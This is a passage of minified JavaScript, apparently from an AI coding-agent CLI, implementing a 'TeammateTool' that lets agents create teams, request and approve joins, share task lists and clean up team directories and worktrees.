w}function d7K(){return oH.createElement(u9,null)}function c7K(A,{verbose:K,tools:q,terminalSize:Y,inProgressToolCallCount:z}){let w=A.at(-1);if(!w||!w.data)return oH.createElement(k6,{height:1},oH.createElement(V,{dimColor:!0},"Running…"));let H=w.data;return oH.createElement(bP1,{fullOutput:H.fullOutput,output:H.output,elapsedTimeSeconds:H.elapsedTimeSeconds,totalLines:H.totalLines,timeoutMs:H.timeoutMs,verbose:K})}function l7K(){return oH.createElement(k6,{height:1},oH.createElement(V,{dimColor:!0},"Waiting…"))}function i7K(A,K,{verbose:q,theme:Y,tools:z,style:w}){let J=K.at(-1)?.data?.timeoutMs;return oH.createElement(v3A,{content:A,verbose:q,timeoutMs:J})}function n7K(A,{verbose:K,progressMessagesForMessage:q,tools:Y}){return oH.createElement(C3,{result:A,verbose:K})}var oH,U7K=2,VI6=160;var fI6=k(()=>{cA();mA();__();J0();Eq();HP1();PI6();mQA();YK();z3();nK();A4();_WA();l6();C8();Vz();oH=o($A(),1)});function r7K(){return` # TeammateTool Manage teams and coordinate teammates in a swarm. Use this tool for team operations, communication, and task assignment. Note: To spawn new teammates, use the Task tool with \`team_name\` and \`name\` parameters. ## Operations ### spawnTeam - Create a Team Create a new team to coordinate multiple agents working on a project. Teams have a 1:1 correspondence with task lists (Team = Project = TaskList). \`\`\` { "operation": "spawnTeam", "team_name": "my-project", "description": "Working on feature X" } \`\`\` This creates: - A team file at \`~/.claude/teams/{team-name}.json\` - A corresponding task list directory at \`~/.claude/tasks/{team-name}/\` ### discoverTeams - Discover Available Teams List teams that are available to join. Returns teams from \`~/.claude/teams/\` that you are not already a member of. \`\`\` { "operation": "discoverTeams" } \`\`\` Returns a list of teams with: - **name**: Team name - **description**: Team description (if set) - **leadAgentId**: ID of the team leader - **memberCount**: Current number of team members Use this to find teams you can request to join with \`requestJoin\`. ### requestJoin - Request to Join a Team Send a join request to a team's leader. The leader will receive a \`join_request\` message and can approve or reject it. - **team_name**: Name of the team to join (REQUIRED) - **proposed_name**: (Optional) Your proposed name for the team (defaults to generated slug) - **capabilities**: (Optional) Description of what you can help with \`\`\` { "operation": "requestJoin", "team_name": "my-project", "proposed_name": "helper", "capabilities": "I can help with code review and testing" } \`\`\` After sending the request, you will receive either a \`join_approved\` or \`join_rejected\` message in response. ### approveJoin - Approve a Join Request (Leader Only) When an agent requests to join your team, they send a join request as a JSON message with \`type: "join_request"\`. Use \`approveJoin\` to accept them: - **target_agent_id**: Use the \`proposedName\` field from the join_request message (REQUIRED) - **request_id**: Use the \`requestId\` field from the join_request message (REQUIRED) Example: If you receive a message like \`{"type":"join_request","proposedName":"helper","requestId":"join-123",...}\`, use: \`\`\` { "operation": "approveJoin", "target_agent_id": "helper", "request_id": "join-123" } \`\`\` The agent will be added to your team and notified of approval. They will receive their assigned agent ID, name, and color. ### rejectJoin - Reject a Join Request (Leader Only) Use \`rejectJoin\` to decline a join request: - **target_agent_id**: Use the \`proposedName\` field from the join_request message (REQUIRED) - **request_id**: Use the \`requestId\` field from the join_request message (REQUIRED) - **reason**: (Optional) Explanation of why the request was rejected \`\`\` { "operation": "rejectJoin", "target_agent_id": "helper", "request_id": "join-123", "reason": "Team is at capacity" } \`\`\` The agent will be notified of the rejection with your reason. ### cleanup - Clean Up Team Resources Remove team and task directories when the swarm work is complete: \`\`\` { "operation": "cleanup" } \`\`\` This operation: - Removes the team directory (\`~/.claude/teams/{team-name}/\`) - Removes the task directory (\`~/.claude/tasks/{team-name}/\`) - Clears team context from the current session **IMPORTANT**: \`cleanup\` will fail if the team still has active members. Gracefully terminate teammates first, then call \`cleanup\` after all teammates have shut down. Use this when all teammates have finished their work and you want to clean up the team resources. The team name is automatically determined from the \`CLAUDE_CODE_TEAM_NAME\` environment variable. ## Team Workflow 1. **Create a team** with \`spawnTeam\` - this creates both the team and its task list 2. **Create tasks** using the Task tools (TaskCreate, TaskList, etc.) - they automatically use the team's task list 3. **Spawn teammates** using the Task tool with \`team_name\` and \`name\` parameters to create teammates that join the team 4. **Assign tasks** using TaskUpdate with \`owner\` to give tasks to idle teammates 5. **Teammates work on assigned tasks** and mark them completed via TaskUpdate 6. **Teammates notify when idle** - when a teammate stops, they automatically send an idle notification to the team leader via mailbox ## Task Ownership Tasks are assigned using TaskUpdate with the \`owner\` parameter. Any agent can set or change task ownership via TaskUpdate. ## Automatic Message Delivery Teammates automatically send an idle notification to the team leader when they finish their work. The notification includes: - Agent ID of the teammate - Timestamp - Optional task completion status **IMPORTANT**: Messages from teammates are automatically delivered to you. You do NOT need to manually check your inbox. When you spawn teammates: - They will send you messages when they complete tasks or need help - These messages appear automatically as new conversation turns (like user messages) - If you're busy (mid-turn), messages are queued and delivered when your turn ends - The UI shows a brief notification with the sender's name when messages are waiting Messages will be delivered automatically. When reporting on teammate messages, you do NOT need to quote the original message—it's already rendered to the user. ## Environment Variables Spawned teammates have these environment variables set: - \`CLAUDE_CODE_AGENT_ID\`: Unique identifier for this agent - \`CLAUDE_CODE_AGENT_TYPE\`: Role/type of the agent (if specified) - \`CLAUDE_CODE_TEAM_NAME\`: Name of the team this agent belongs to - \`CLAUDE_CODE_PLAN_MODE_REQUIRED\`: Set to "true" if the teammate must enter plan mode before implementing changes **IMPORTANT for teammates:** Use your \`CLAUDE_CODE_AGENT_ID\` environment variable when: - Adding comments to tasks (as the \`author\` field) - Sending messages to other teammates ## Discovering Team Members Teammates can read the team config file to discover other team members: - **Team config location**: \`~/.claude/teams/{team-name}/config.json\` The config file contains a \`members\` array with each teammate's: - \`name\`: Human-readable name (**always use this** for messaging and task assignment) - \`agentId\`: Unique identifier (for reference only - do not use for communication) - \`agentType\`: Role/type of the agent **IMPORTANT**: Always refer to teammates by their NAME (e.g., "team-lead", "researcher", "tester"), never by UUID. Names are used for: - \`target_agent_id\` when sending messages - Identifying task owners Example of reading team config: \`\`\` Use the Read tool to read ~/.claude/teams/{team-name}/config.json \`\`\` ## Task List Coordination Teams share a task list that all teammates can access: - **Task list location**: \`~/.claude/tasks/{team-name}/\` **IMPORTANT notes for communication with your team**: - Do not use terminal tools to view your team's activity, always send a message to your teammates (and remember, refer to them by name). - Your team cannot hear you if you do not use the teammate send message tool. Always send a message to your teammates if you are responding to them. Teammates should: 1. Check TaskList periodically, **especially after completing each task**, to find available work or see newly unblocked tasks 2. Claim unassigned, unblocked tasks with TaskUpdate (set \`owner\` to your name). **Prefer tasks in ID order** (lowest ID first) when multiple tasks are available, as earlier tasks often set up context for later ones 3. Create new tasks with \`TaskCreate\` when identifying additional work 4. Mark tasks as completed with \`TaskUpdate\` when done, then check TaskList for next work 5. Coordinate with other teammates by reading the task list status 6. If all available tasks are blocked, notify the team lead or help resolve blocking tasks **IMPORTANT**: Do NOT send structured JSON status messages like \`{"type":"idle",...}\` or \`{"type":"task_completed",...}\`. Use TaskUpdate to mark tasks completed and the system will automatically send idle notifications when you stop. Just communicate in plain text when you need to message teammates. `.trim()}function gQA(A,K,q){let{teamName:Y,agentId:z,agentName:w}=q,H=aH(Y);if(!H){h(`[TeammateInit] Team file not found for team: ${Y}`);return}let J=H.leadAgentId;if(H.teamAllowedPaths&&H.teamAllowedPaths.length>0){h(`[TeammateInit] Found ${H.teamAllowedPaths.length} team-wide allowed path(s)`);for(let $ of H.teamAllowedPaths){let _=$.path.startsWith("/")?`/${$.path}/**`:`${$.path}/**`;h(`[TeammateInit] Applying team permission: ${$.toolName} allowed in ${$.path} (rule: ${_})`),A((G)=>({...G,toolPermissionContext:nY(G.toolPermissionContext,{type:"addRules",rules:[{toolName:$.toolName,ruleContent:_}],behavior:"allow",destination:"session"})}))}}let X=H.members.find(($)=>$.agentId===J)?.name||"team-lead";if(z===J){h("[TeammateInit] This agent is the team leader - skipping idle notification hook");return}h(`[TeammateInit] Registering Stop hook for teammate ${w} to notify leader ${X}`),l_1(A,K,"Stop","",($,_)=>{FQA(Y,w,!1);let G=vQA(w);return Q3(X,{from:w,text:UA(G),timestamp:new Date().toISOString(),color:PJ()}),h(`[TeammateInit] Sent idle notification to leader ${X}`),!0},"Failed to send idle notification to team leader",{timeout:1e4})}var NI6=k(()=>{yp();_H();Z1();W2();Nv();LH();b1()});function o7K(A,K,q){h(`[JoinInit] Initializing as teammate ${A.agentName} in team ${A.teamName}`),z76({agentId:A.agentId,agentName:A.agentName,teamName:A.teamName,color:A.color,planModeRequired:A.planModeRequired??!1}),K((Y)=>{let z=A.planModeRequired?nY(Y.toolPermissionContext,{type:"setMode",mode:"plan",destination:"session"}):Y.toolPermissionContext;if(A.planModeRequired)h("[JoinInit] Plan mode required, setting permission mode to plan");return{...Y,teamContext:{teamName:A.teamName,teamFilePath:A.teamFilePath,leadAgentId:A.leadAgentId,selfAgentId:A.agentId,selfAgentName:A.agentName,selfAgentColor:A.color,isLeader:!1,teammates:{}},toolPermissionContext:z}}),gQA(K,q,{teamName:A.teamName,agentId:A.agentId,agentName:A.agentName}),qMA(A.teamName,q),h(`[JoinInit] Successfully initialized as teammate ${A.agentName}@${A.teamName}`)}var a7K=k(()=>{W2();NI6();_H();LH();Z1()});function s7K(A){switch(A.operation){case"spawnTeam":return`create team: ${A.team_name}`;case"cleanup":return null;case"discoverTeams":return"discover available teams";case"requestJoin":return`request to join team: ${A.team_name}${A.proposed_name?` as '${A.proposed_name}'`:""}`;case"approveJoin":return`approve join request: ${A.request_id}`;case"rejectJoin":return`reject join request: ${A.request_id}`;default:return"teammate operation"}}function t7K(){return null}function e7K(){return $P.default.createElement(u9,null)}function AKK(A,{verbose:K}){return $P.default.createElement(C3,{result:A,verbose:K})}function Rj2(A){return"team_name"in A&&"lead_agent_id"in A}function yj2(A){return"success"in A&&"message"in A&&!("lead_agent_id"in A)}function Ij2(A){return"teams"in A&&Array.isArray(A.teams)}function Sj2(A){return"status"in A&&["approved","rejected","timeout","request_sent","already_in_team","team_not_found","error"].includes(A.status)}function hj2(A){return"member_name"in A&&"member_agent_id"in A}function bj2(A){return"requestId"in A&&"success"in A&&!("member_name"in A)&&!("status"in A)}function KKK(A,K,{verbose:q}){let Y=typeof A==="string"?G6(A):A;if(Rj2(Y))return null;if(yj2(Y))return null;if(Ij2(Y)){let z=Y.teams.length;if(z===0)return $P.default.createElement(V,{dimColor:!0}," ","no teams available to join");return $P.default.createElement(V,{dimColor:!0}," ","found ",z," team",z===1?"":"s",":"," ",Y.teams.map((w)=>w.name).join(", "))}if(Sj2(Y))switch(Y.status){case"approved":return $P.default.createElement(V,{dimColor:!0}," ","joined team ",Y.teamName," as ",Y.agentName);case"rejected":return $P.default.createElement(V,{dimColor:!0}," ","join request rejected");case"timeout":return $P.default.createElement(V,{dimColor:!0}," ","join request timed out");case"already_in_team":return $P.default.createElement(V,{dimColor:!0}," ","already in a team");case"team_not_found":return $P.default.createElement(V,{dimColor:!0}," ","team not found");default:return $P.default.createElement(V,{dimColor:!0}," ",Y.message)}if(hj2(Y))return $P.default.createElement(V,{dimColor:!0}," ","approved join request from ",Y.member_name);if(bj2(Y))return $P.default.createElement(V,{dimColor:!0}," ","rejected join request");if("message"in Y)return $P.default.createElement(V,{dimColor:!0}," ",Y.message);return $P.default.createElement(V,{dimColor:!0}," ","operation complete")}var $P;var qKK=k(()=>{mA();__();J0();b1();$P=o($A(),1)});var JKK={};_q(JKK,{syncTeammateMode:()=>LI6,setMultipleMemberModes:()=>RI6,setMemberMode:()=>OMA,setMemberActive:()=>FQA,sanitizeAgentName:()=>Fj2,removeTeammateFromTeamFile:()=>Q3A,removeMemberFromTeam:()=>kI6,removeMemberByAgentId:()=>CI6,removeHiddenPaneId:()=>pj2,readTeamFile:()=>aH,isPaneHidden:()=>EI6,inputSchema:()=>zKK,getHiddenPaneIds:()=>wKK,cleanupTeamDirectories:()=>HKK,addTeamAllowedPath:()=>dj2,addHiddenPaneId:()=>Uj2,TeammateTool:()=>sj2});import{join as Km}from"path";import{existsSync as uP1,mkdirSync as xj2,readFileSync as YKK,readdirSync as uj2,rmSync as TI6}from"fs";import{readFile as Bj2,writeFile as mj2,mkdir as gj2}from"fs/promises";function QQA(A){return A.replace(/[^a-zA-Z0-9]/g,"-").toLowerCase()}function Fj2(A){return A.replace(/@/g,"-")}function vI6(){let A=process.env.HOME||process.env.USERPROFILE||".";return Km(A,".claude","teams")}function Qj2(A){if(!A)return FxA();if(!aH(A))return A;return FxA()}function UQA(A){return Km(vI6(),QQA(A))}function aH(A){let K=Km(UQA(A),"config.json");if(!uP1(K))return null;try{let q=YKK(K,"utf-8");return G6(q)}catch(q){return h(`[TeammateTool] Failed to read team file for ${A}: ${q instanceof Error?q.message:String(q)}`),null}}function qm(A,K){let q=UQA(A);xj2(q,{recursive:!0});let Y=Km(q,"config.json");x8(Y,UA(K,null,2))}function Q3A(A,K){let q=K.agentId||K.name;if(!q)return h("[TeammateTool] removeTeammateFromTeamFile called with no identifier"),!1;let Y=aH(A);if(!Y)return h(`[TeammateTool] Cannot remove teammate ${q}: failed to read team file for "${A}"`),!1;let z=Y.members.length;if(Y.members=Y.members.filter((w)=>{if(K.agentId&&w.agentId===K.agentId)return!1;if(K.name&&w.name===K.name)return!1;return!0}),Y.members.length===z)return h(`[TeammateTool] Teammate ${q} not found in team file for "${A}"`),!1;return qm(A,Y),h(`[TeammateTool] Removed teammate from team file: ${q}`),!0}function Uj2(A,K){let q=aH(A);if(!q)return!1;let Y=q.hiddenPaneIds??[];if(!Y.includes(K))Y.push(K),q.hiddenPaneIds=Y,qm(A,q),h(`[TeammateTool] Added ${K} to hidden panes for team ${A}`);return!0}function pj2(A,K){let q=aH(A);if(!q)return!1;let Y=q.hiddenPaneIds??[],z=Y.indexOf(K);if(z!==-1)Y.splice(z,1),q.hiddenPaneIds=Y,qm(A,q),h(`[TeammateTool] Removed ${K} from hidden panes for team ${A}`);return!0}function wKK(A){return aH(A)?.hiddenPaneIds??[]}function EI6(A,K){return wKK(A).includes(K)}function kI6(A,K){let q=aH(A);if(!q)return!1;let Y=q.members.findIndex((z)=>z.tmuxPaneId===K);if(Y===-1)return!1;if(q.members.splice(Y,1),q.hiddenPaneIds){let z=q.hiddenPaneIds.indexOf(K);if(z!==-1)q.hiddenPaneIds.splice(z,1)}return qm(A,q),h(`[TeammateTool] Removed member with pane ${K} from team ${A}`),!0}function CI6(A,K){let q=aH(A);if(!q)return!1;let Y=q.members.findIndex((z)=>z.agentId===K);if(Y===-1)return!1;return q.members.splice(Y,1),qm(A,q),h(`[TeammateTool] Removed member ${K} from team ${A}`),!0}function dj2(A,K,q,Y){let z=aH(A);if(!z)return!1;let w=z.teamAllowedPaths??[];if(!w.some((J)=>J.path===K&&J.toolName===q))w.push({path:K,toolName:q,addedBy:Y,addedAt:Date.now()}),z.teamAllowedPaths=w,qm(A,z),h(`[TeammateTool] Added team-wide allowed path ${K} for ${q} (by ${Y})`);return!0}function OMA(A,K,q){let Y=aH(A);if(!Y)return!1;let z=Y.members.find((H)=>H.name===K);if(!z)return h(`[TeammateTool] Cannot set member mode: member ${K} not found in team ${A}`),!1;if(z.mode===q)return!0;let w=Y.members.map((H)=>H.name===K?{...H,mode:q}:H);return qm(A,{...Y,members:w}),h(`[TeammateTool] Set member ${K} in team ${A} to mode: ${q}`),!0}function LI6(A,K){if(!m2())return;let q=K??T3(),Y=b9();if(q&&Y)OMA(q,Y,A)}function RI6(A,K){let q=aH(A);if(!q)return!1;let Y=new Map(K.map((H)=>[H.memberName,H.mode])),z=!1,w=q.members.map((H)=>{let J=Y.get(H.name);if(J!==void 0&&H.mode!==J)return z=!0,{...H,mode:J};return H});if(z)qm(A,{...q,members:w}),h(`[TeammateTool] Set ${K.length} member modes in team ${A}`);return!0}async function FQA(A,K,q){let Y=UQA(A),z=Km(Y,"config.json"),w;try{let J=await Bj2(z,"utf-8");w=G6(J)}catch{h(`[TeammateTool] Cannot set member active: team ${A} not found`);return}let H=w.members.find((J)=>J.name===K);if(!H){h(`[TeammateTool] Cannot set member active: member ${K} not found in team ${A}`);return}if(H.isActive===q)return;H.isActive=q,await gj2(Y,{recursive:!0}),await mj2(z,UA(w,null,2)),h(`[TeammateTool] Set member ${K} in team ${A} to ${q?"active":"idle"}`)}async function cj2(A){let K=Km(A,".git"),q=null;try{let z=YKK(K,"utf-8").trim().match(/^gitdir:\s*(.+)$/);if(z&&z[1]){let w=z[1],H=Km(w,"..","..");q=Km(H,"..")}}catch{}if(q){let Y=await A7("git",["worktree","remove","--force",A],{cwd:q});if(Y.code===0){h(`[TeammateTool] Removed worktree via git: ${A}`);return}if(Y.stderr?.includes("not a working tree")){h(`[TeammateTool] Worktree already removed: ${A}`);return}h(`[TeammateTool] git worktree remove failed, falling back to rm: ${Y.stderr}`)}try{TI6(A,{recursive:!0,force:!0}),h(`[TeammateTool] Removed worktree directory manually: ${A}`)}catch(Y){h(`[TeammateTool] Failed to remove worktree ${A}: ${Y instanceof Error?Y.message:String(Y)}`)}}async function HKK(A){let K=QQA(A),q=aH(A),Y=[];if(q){for(let H of q.members)if(H.worktreePath)Y.push(H.worktreePath)}for(let H of Y)await cj2(H);let z=UQA(A);if(uP1(z))try{TI6(z,{recursive:!0,force:!0}),h(`[TeammateTool] Cleaned up team directory: ${z}`)}catch(H){h(`[TeammateTool] Failed to clean up team directory ${z}: ${H instanceof Error?H.message:String(H)}`)}let w=Sk(K);if(uP1(w))try{TI6(w,{recursive:!0,force:!0}),h(`[TeammateTool] Cleaned up tasks directory: ${w}`)}catch(H){h(`[TeammateTool] Failed to clean up tasks directory ${w}: ${H instanceof Error?H.message:String(H)}`)}}async function lj2(A,K){let{setAppState:q,getAppState:Y}=K,w=(await Y()).teamContext?.teamName;if(w){let H=aH(w);if(H){let J=H.members.filter((O)=>O.name!==P2);if(J.length>0){let O=J.map((X)=>X.name).join(", ");return{data:{success:!1,message:`Cannot cleanup team with ${J.length} active member(s): ${O}. Use requestShutdown to gracefully terminate teammates first.`,team_name:w}}}}await HKK(w),OKK()}return q((H)=>({...H,teamContext:void 0,inbox:{messages:[]}})),{data:{success:!0,message:w?`Cleaned up directories and worktrees for team "${w}"`:"No team name found, nothing to clean up",team_name:w}}}async function ij2(A,K){let{setAppState:q,getAppState:Y}=K,{team_name:z,description:w,agent_type:H}=A;if(!z)throw Error("team_name is required for spawnTeam operation");let J=await Y(),O=J.teamContext?.teamName;if(O)throw Error(`Already leading team "${O}". A leader can only manage one team at a time. Use cleanup operation to end the current team before creating a new one.`);let X=Qj2(z),$=cf(P2,X),_=H||P2,G=cz(J.mainLoopModelForSession??J.mainLoopModel??Rk()),Z=UQA(X),W=Km(Z,"config.json"),D={name:X,description:w,createdAt:Date.now(),leadAgentId:$,leadSessionId:d1(),members:[{agentId:$,name:P2,agentType:_,model:G,joinedAt:Date.now(),tmuxPaneId:"",cwd:x1(),subscriptions:[]}]};qm(X,D);let j=QQA(X);return iq1(j),VyA(j),q((M)=>({...M,teamContext:{teamName:X,teamFilePath:W,leadAgentId:$,teammates:{[$]:{name:P2,agentType:_,color:Ym($),tmuxSessionName:"",tmuxPaneId:"",cwd:x1(),spawnedAt:Date.now()}}}})),{data:{team_name:X,team_file_path:W,lead_agent_id:$}}}async function nj2(A,K){let{setAppState:q}=K,{team_name:Y,proposed_name:z,capabilities:w,timeout_ms:H}=A;if(!Y)throw Error("team_name is required for requestJoin operation");if(!z)return{data:{success:!1,message:"proposed_name is required for requestJoin operation. Please provide a name to join the team.",status:"error"}};let J=await K.getAppState(),O=T3(J.teamContext);if(O)return{data:{success:!1,message:`Already a member of team "${O}". Cannot join another team.`,status:"already_in_team",teamName:O}};let X=aH(Y);if(!X)return{data:{success:!1,message:`Team "${Y}" not found`,status:"team_not_found"}};let $=d1(),_=bt("join",$),G=iy6({requestId:_,sessionId:$,proposedName:z,capabilities:w,cwd:x1()}),W=X.members.find((P)=>P.agentId===X.leadAgentId)?.name||P2;Q3(W,{from:z,text:UA(G),timestamp:new Date().toISOString()},Y),h(`[RequestJoin] Sent join request to ${W} for team ${Y}`);let D=H||60000,j=1000,M=Date.now();while(Date.now()-M<D){let P=DP1(Y,$);for(let f of P){let N=LQA(f.text);if(N&&N.requestId===_)return h(`[RequestJoin] Join approved by team ${Y}`),o7K(N,q,$),{data:{success:!0,message:`Successfully joined team "${Y}" as ${N.agentName}`,status:"approved",requestId:_,teamName:Y,agentId:N.agentId,agentName:N.agentName}};let T=RQA(f.text);if(T&&T.requestId===_)return h(`[RequestJoin] Join rejected by team ${Y}: ${T.reason}`),qMA(Y,$),{data:{success:!1,message:`Join request rejected: ${T.reason||"No reason provided"}`,status:"rejected",requestId:_,teamName:Y}}}await new Promise((f)=>setTimeout(f,j))}return qMA(Y,$),{data:{success:!1,message:`Join request timed out after ${D/1000} seconds. The team leader may be busy or unavailable.`,status:"timeout",requestId:_,teamName:Y}}}async function rj2(A,K){let q=await K.getAppState(),{target_agent_id:Y,request_id:z,assigned_name:w}=A;if(!Y||!z)throw Error("target_agent_id and request_id are required for approveJoin operation");if(!sX(q.teamContext))return{data:{success:!1,message:"Only the team leader can approve join requests. Use spawn to create teammates.",member_name:"",member_agent_id:""}};let H=q.teamContext?.teamName;if(!H)return{data:{success:!1,message:"Not currently in a team context",member_name:"",member_agent_id:""}};let J=aH(H);if(!J)return{data:{success:!1,message:`Team "${H}" config not found`,member_name:"",member_agent_id:""}};let O=z.match(/@([^@]+)$/);if(!O||!O[1])return{data:{success:!1,message:`Invalid request_id format: ${z}`,member_name:"",member_agent_id:""}};let X=O[1],$=w||Y;if(J.members.find((j)=>j.name===$)){let j=ZP1({requestId:z,reason:`Name "${$}" is already in use. Please request with a different name.`});return yQA(H,X,{from:P2,text:UA(j),timestamp:new Date().toISOString()}),h(`[ApproveJoin] Rejected join request - name "${$}" already in use`),{data:{success:!1,message:`Name "${$}" is already in use. Rejection sent to joiner.`,member_name:"",member_agent_id:""}}}let G=cf($,H),Z=Ym(G);J.members.push({agentId:G,name:$,color:Z,joinedAt:Date.now(),tmuxPaneId:"",cwd:"",subscriptions:[]}),qm(H,J);let W=Km(vI6(),QQA(H),"config.json"),D=ny6({requestId:z,teamName:H,teamFilePath:W,leadAgentId:J.leadAgentId,agentId:G,agentName:$,color:Z,planModeRequired:!1});return yQA(H,X,{from:P2,text:UA(D),timestamp:new Date().toISOString()}),h(`[ApproveJoin] Approved join request for ${$} (${G}) to team ${H}`),{data:{success:!0,message:`Successfully approved ${$} to join the team`,member_name:$,member_agent_id:G}}}async function oj2(A,K){let q=await K.getAppState(),{target_agent_id:Y,request_id:z,reason:w}=A;if(!Y||!z)throw Error("target_agent_id and request_id are required for rejectJoin operation");if(!sX(q.teamContext))return{data:{success:!1,message:"Only the team leader can reject join requests",requestId:z}};let H=q.teamContext?.teamName;if(!H)return{data:{success:!1,message:"Not currently in a team context",requestId:z}};let J=z.match(/@([^@]+)$/);if(!J||!J[1])return{data:{success:!1,message:`Invalid request_id format: ${z}`,requestId:z}};let O=J[1],X=ZP1({requestId:z,reason:w||"Join request was rejected by the team leader"});return yQA(H,O,{from:P2,text:UA(X),timestamp:new Date().toISOString()}),h(`[RejectJoin] Rejected join request from ${Y}: ${w||"no reason given"}`),{data:{success:!0,message:`Successfully rejected join request from ${Y}`,requestId:z}}}async function aj2(A,K){let q=vI6();if(!uP1(q))return{data:{success:!0,teams:[],message:"No teams directory found. No teams available to join."}};let z=(await K.getAppState()).teamContext?.teamName,w=uj2(q,{withFileTypes:!0}).filter((J)=>J.isDirectory()).map((J)=>J.name),H=[];for(let J of w){let O=aH(J);if(!O)continue;if(z&&QQA(z)===J)continue;H.push({name:O.name,description:O.description,leadAgentId:O.leadAgentId,memberCount:O.members.length,createdAt:O.createdAt})}return{data:{success:!0,teams:H,message:H.length>0?`Found ${H.length} team(s) available to join`:"No teams available to join"}}}var zKK,sj2;var Nv=k(()=>{z7();AG6();b1();BP1();CK();y4();_H();a7K();W2();qKK();VJ();Z1();q6();K7();b1();t9();zKK=U.strictObject({operation:U.enum(["spawnTeam","cleanup","discoverTeams","requestJoin","approveJoin","rejectJoin"]).describe("Operation: spawnTeam to create a team, cleanup to remove team and task directories, discoverTeams to list available teams to join, requestJoin to request joining a team, approveJoin to approve a join request from another agent, rejectJoin to reject a join request from another agent."),target_agent_id:U.string().optional().describe("Agent name/ID of the target (required for approveJoin/rejectJoin operations)"),agent_type:U.string().optional().describe('Type/role of the team lead (e.g., "researcher", "test-runner"). Used for team file and inter-agent coordination.'),team_name:U.string().optional().describe("Name for the new team to create (required for spawnTeam)."),description:U.string().optional().describe("Team description/purpose (only used with spawnTeam)."),reason:U.string().optional().describe("Reason for the operation (optional for rejectJoin)."),request_id:U.string().optional().describe("Request ID for join operations. For approveJoin/rejectJoin: ID of the join request."),assigned_name:U.string().optional().describe("Name to assign to the joining agent (optional for approveJoin, defaults to their proposed_name)"),proposed_name:U.string().optional().describe("Proposed name when joining a team (defaults to generated slug)"),capabilities:U.string().optional().describe("Description of what you can help with when joining a team"),timeout_ms:U.number().optional().describe("Timeout in milliseconds for requestJoin to wait for leader response (default: 60000)")});sj2={name:OgA,maxResultSizeChars:1e5,userFacingName(){return""},inputSchema:zKK,isEnabled(){return b8()},isConcurrencySafe(A){return!1},isReadOnly(A){return!1},async checkPermissions(A,K){return{behavior:"allow",updatedInput:A}},async validateInput(A,K){if(A.operation==="spawnTeam"){if(!A.team_name||A.team_name.trim().length===0)return{result:!1,message:"team_name is required for spawnTeam operation",errorCode:9}}if(A.operation==="requestJoin"){if(!A.team_name||A.team_name.trim().length===0)return{result:!1,message:"team_name is required for requestJoin operation",errorCode:17};if(!A.proposed_name||A.proposed_name.trim().length===0)return{result:!1,message:"proposed_name is required for requestJoin operation. Please provide a name to join the team.",errorCode:19}}if(A.operation==="approveJoin"||A.operation==="rejectJoin"){if(!A.request_id||A.request_id.trim().length===0)return{result:!1,message:"request_id is required for approveJoin/rejectJoin operations",errorCode:18}}return{result:!0}},async description(){return"Spawn teammates and coordinate with other agents running in parallel"},async prompt(){return r7K()},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:[{type:"text",text:UA(A,null,2)}]}},async call(A,K){if(A.operation==="spawnTeam")return ij2(A,K);if(A.operation==="cleanup")return lj2(A,K);if(A.operation==="discoverTeams")return aj2(A,K);if(A.operation==="requestJoin")return nj2(A,K);if(A.operation==="approveJoin")return rj2(A,K);if(A.operation==="rejectJoin")return oj2(A,K);throw Error(`Unknown operation: ${A.operation}`)},renderToolUseMessage:s7K,renderToolUseProgressMessage:t7K,renderToolUseRejectedMessage:e7K,renderToolUseErrorMessage:AKK,renderToolResultMessage:KKK}});async function XMA(A,K){let{name:q,teamName:Y,prompt:z,color:w,planModeRequired:H,model:J}=A,{setAppState:O}=K,X=cf(q,Y),$=Ep("in_process_teammate");h(`[spawnInProcessTeammate] Spawning ${X} (taskId: ${$})`);try{let _=e7(),G=d1(),Z={agentId:X,agentName:q,teamName:Y,color:w,planModeRequired:H,parentSessionId:G},W=dq1({agentId:X,agentName:q,teamName:Y,color:w,planModeRequired:H,parentSessionId:G,abortController:_});if(hp())e_1(X,q,G);let D=`${q}: ${z.substring(0,50)}${z.length>50?"...":""}`,j=OXA(Y,{subject:q,description:z.substring(0,100),status:"in_progress",blocks:[],blockedBy:[],metadata:{}}),M={...oM($,"in_process_teammate",D),type:"in_process_teammate",status:"running",identity:Z,prompt:z,model:J,abortController:_,awaitingPlanApproval:!1,permissionMode:H?"plan":"default",isIdle:!1,shutdownRequested:!1,lastReportedToolCount:0,lastReportedTokenCount:0,pendingUserMessages:[],messages:[],localTaskId:j},P=kK(async()=>{h(`[spawnInProcessTeammate] Cleanup called for ${X}`),_.abort()});return M.unregisterCleanup=P,aM(M,O),h(`[spawnInProcessTeammate] Registered ${X} in AppState`),{success:!0,agentId:X,taskId:$,abortController:_,teammateContext:W}}catch(_){let G=_ instanceof Error?_.message:"Unknown error during spawn";return h(`[spawnInProcessTeammate] Failed to spawn ${X}: ${G}`),{success:!1,agentId:X,error:G}}}function mP1(A,K){let q=!1,Y=null,z=null;if(K((w)=>{let H=w.tasks[A];if(!H||H.type!=="in_process_teammate")return w;let J=H;Y=J.identity.teamName,z=J.identity.agentId,J.abortController.abort(),J.unregisterCleanup?.(),q=!0,J.onIdleCallbacks?.forEach((X)=>X());let O=w.teamContext;if(w.teamContext&&w.teamContext.teammates&&z){let{[z]:X,...$}=w.teamContext.teammates;O={...w.teamContext,teammates:$}}return{...w,teamContext:O,tasks:{...w.tasks,[A]:{...J,status:"killed",endTime:Date.now(),onIdleCallbacks:[]}}}}),Y&&z)CI6(Y,z);return q}var gP1=k(()=>{lqA();Jz();NT();cI();R2();Z1();VJ();q6();Nv();WmA()});function XKK(A,K){eY(A,K,(q)=>{if(q.status!=="running"||q.shutdownRequested)return q;return{...q,shutdownRequested:!0}})}function yI6(A,K,q){eY(A,q,(Y)=>{if(Y.status!=="running")return Y;return{...Y,messages:[...Y.messages??[],K]}})}function $KK(A,K,q){eY(A,q,(Y)=>{if(Y.status==="completed"||Y.status==="killed"||Y.status==="failed")return h(`Dropping message for teammate task ${A}: task status is "${Y.status}"`),Y;return{...Y,pendingUserMessages:[...Y.pendingUserMessages,K],messages:[...Y.messages??[],t1({content:K})]}})}function U3A(A,K){let q;for(let Y of Object.values(K))if(W_(Y)&&Y.identity.agentId===A){if(Y.status==="running")return Y;if(!q)q=Y}return q}function p3A(A){return Object.values(A).filter(W_)}var Ld,FP1;var zm=k(()=>{mA();Tf();cI();rM();wz();gP1();$8();Z1();Ld=o($A(),1),FP1={name:"InProcessTeammateTask",type:"in_process_teammate",async spawn(A,K){let q={name:A.name,teamName:A.teamName,prompt:A.prompt,color:A.color,planModeRequired:A.planModeRequired},Y=await 